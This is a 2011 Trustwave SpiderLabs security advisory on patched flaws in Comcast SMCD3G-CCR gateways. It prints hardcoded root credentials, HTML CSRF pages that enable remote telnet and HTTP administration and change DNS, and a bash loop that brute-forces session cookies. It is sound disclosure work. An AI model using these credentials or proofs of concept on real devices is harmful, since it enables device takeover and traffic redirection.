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TWSL2011-002:Vulnerabilities in Comcast DOCSIS 3.0 Business Gateways (SMCD3G-CCR)
From: Trustwave Advisories <trustwaveadvisories () trustwave com>
Date: Fri, 4 Feb 2011 19:52:35 -0600

Trustwave's SpiderLabs Security Advisory TWSL2011-002:
Vulnerabilities in Comcast DOCSIS 3.0 Business Gateways
(SMCD3G-CCR)

https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt

Published: 2011-02-04
Version: 1.0

Vendor: Comcast (http://comcast.com) and SMC (http://www.smc.com)
Product: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR
Version affected:  Versions prior to 1.4.0.49.2

Product description:
The Comcast DOCSIS 3.0 Business Gateway provides end-user termination of
cable internet services for Comcast Business Class customers with enhanced
services including Network Address Translation (NAT), firewalling, and
Virtual Private Network (VPN) termination.

Credit: Zack Fasel and Matthew Jakubowski of Trustwave's SpiderLabs

Finding 1: Static Credentials
CVE: CVE-2011-0885

All SMCD3G-CCR gateways provided by Comcast have an administrative
login of "mso" with the password of "D0nt4g3tme".  These passwords
are not provided as a part of the installation of the device and are
not recommended to be changed, thus the majority of users are unaware
of the default configuration.

With these default credentials, internal attackers can modify device
configurations to leverage more significant attacks, including redirection
of DNS requests, creation of a remote VPN termination point, and
modification of NAT entries.  These credentials provide access to the web
interface for management, as well as a telnet interface that provides shell
access to the device.  The mso login provides shell as UID 0 (root).


Finding 2: Cross Site Request Forgery (CSRF)
CVE: CVE-2011-0886
SMCD3G-CCR gateways provided by Comcast permit CSRF attacks against
numerous management pages allowing an attacker to embed in a webpage a
malicious request against the gateway's management interface.  Through
this, an attacker can modify device configuration and enable remote
administration via a telnet shell and http.

The following Proof of Concept (PoC) connects to the gateway, logs in,
modifies the remote administration to allow any user to connect externally,
and modifies the DNS information.

## smcd3g-csrf-poc.htm

<html>
<body>
<iframe src="./smcd3g-csrf-poc-1.htm" width="1" height="1">
</iframe>
<iframe src="./smcd3g-csrf-poc-2.htm" width="1" height="1">
</iframe>
<iframe src="./smcd3g-csrf-poc-3.htm" width="1" height="1">
</iframe> </body> </html>

## smcd3g-csrf-poc-1.htm

<html>
<body>
<form action="http://10.1.10.1/goform/login"; method="post"
    name="tF">
<input type="hidden" name="user" value="mso" />
<input type="hidden" name="pws" value="D0nt4g3tme" />
</form> <script> document.tF.submit(); </script> </body>
</html>

## smcd3g-csrf-poc-2.htm

<html>
<body>
<form action="http://10.1.10.1/goform/RemoteRange";
name="RMangement" method="post"> <input type="hidden"
value="feat-admin-remote" name="file"> <input type="hidden"
value="admin/" name="dir"> <input type="hidden"
name="RemoteRange" value="0" /> <input type="hidden"
name="rm_access" value="on" /> <input type="hidden"
name="Remote0" value="0.0.0.0,0.0.0.0,1" /> <input
type="hidden" name="http_port" value="8080" /> <input
type="hidden" name="http_enable" value="on" /> <input
type="hidden" name="http_flag" value="1" /> <input
type="hidden" name="msoremote_enableCheck" value="on" />
<input type="hidden" name="mso_remote_enable" value="1" />
<input type="hidden" name="remote_enable" value="0" />
<input type="hidden" name="https_enable" value="on" />
<input type="hidden" name="https_port" value="8181" />
<input type="hidden" name="https_flag" value="1" /> <input
type="hidden" name="telnet_enable" value="on" /> <input
type="hidden" name="telnet_port" value="2323" /> <input
type="hidden" name="telnet_flag" value="1" /> <input
type="hidden" name="Remote1=" value="" /> </form> </body>
</html> <script>
setTimeout("document.RMangement.submit()",4000);
</script>
</body>
</html>

## smcd3g-csrf-poc-3.htm

<html>
<body>
<form name="WanIPform"
action="http://10.1.10.1/goform/Basic"; method="post"> <input
type="hidden" value="feat-wan-ip" name="file"> <input
type="hidden" value="admin/" name="dir"> <input
type="hidden" value="Fixed" name="DNSAssign"> <input
type="hidden" value="0" name="dhcpc_release"> <input
type="hidden" value="0" name="dhcpc_renew"> <input
type="hidden" value="" name="domain_name"> <input
type="hidden" value="" name="WDn"> <input type="hidden"
name="SysName" value="" /> <input type="hidden"
name="manual_dns_enable" value="on" /> <input type="hidden"
name="DAddr" value="4.2.2.1" /> <input type="hidden"
name="DAddr0" value="4" /> <input type="hidden"
name="DAddr1" value="2" /> <input type="hidden"
name="DAddr2" value="2" /> <input type="hidden"
name="DAddr3" value="1" /> <input type="hidden"
name="PDAddr" value="4.2.2.2" /> <input type="hidden"
name="PDAddr0" value="4" /> <input type="hidden"
name="PDAddr1" value="2" /> <input type="hidden"
name="PDAddr2" value="2" /> <input type="hidden"
name="PDAddr3" value="2" /> </form> <script>
setTimeout("document.WanIPform.submit()",5000);
</script>
</body>
</html>

If the PoC was embedded in any web page the targeted user visited while
logged into the device, the attacker would be provided remote
administration in to the gateway device include a telnet shell.  This would
allow the attacker to redirect traffic to a malicious end-point.


Finding 3: Weak Session Management
CVE: CVE-2011-0887
SMCD3G-CCR gateways provided by Comcast utilize a predictable value to
validate the active web management portal session.  The epoch time of
beginning of the session is stored as a cookie labeled "userid".  This
provides a predictable range of session IDs that can be brute-forced.

The following PoC attempts to brute force the session IDs by requesting the
admin page with an incrementing cookie and determining whether it wants to
redirect to login.asp.

## smcd3g-session-poc.sh

#!/bin/bash
start=1267604160
end=1267605960
for (( i=$start; i<=$end; i++)) do if [ `curl -sb userid=$i
http://10.1.10.1/admin/index.asp | grep -c login.asp` -lt
"1" ] then echo "Session ID Found:  $i"
fi
if [ $(($i % 100)) -eq "0" ]
then echo "Currently at $i"
fi
done

Through this, an attacker can brute-force the possible valid session IDs.
Sessions do by default expire within 10 minutes, thus the attack window is
limited but can be leveraged with other attack methods.


Vendor Response:
These issues have been addressed as of version 1.4.0.49.2

Remediation Steps:
In order to determine if the correct version is installed, users should
view the "About" link in the management interface. Versions 1.4.0.49.2 and
above have been corrected.

Vendor Communication Timeline:
08/30/10 - Vulnerability disclosed
01/21/11 - Patch Released
02/04/11 - Advisory Published

Revision History:
1.0 Initial publication

References
1. http://www.smc.com/index.cfm?event=viewProduct&pid=1678


About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without
warranty of any kind. Trustwave disclaims all warranties, either express or
implied, including the warranties of merchantability and fitness for a
particular purpose. In no event shall Trustwave or its suppliers be liable
for any damages whatsoever including direct, indirect, incidental,
consequential, loss of business profits or special damages, even if
Trustwave or its suppliers have been advised of the possibility of such
damages. Some states do not allow the exclusion or limitation of liability
for consequential or incidental damages so the foregoing limitation may not
apply.



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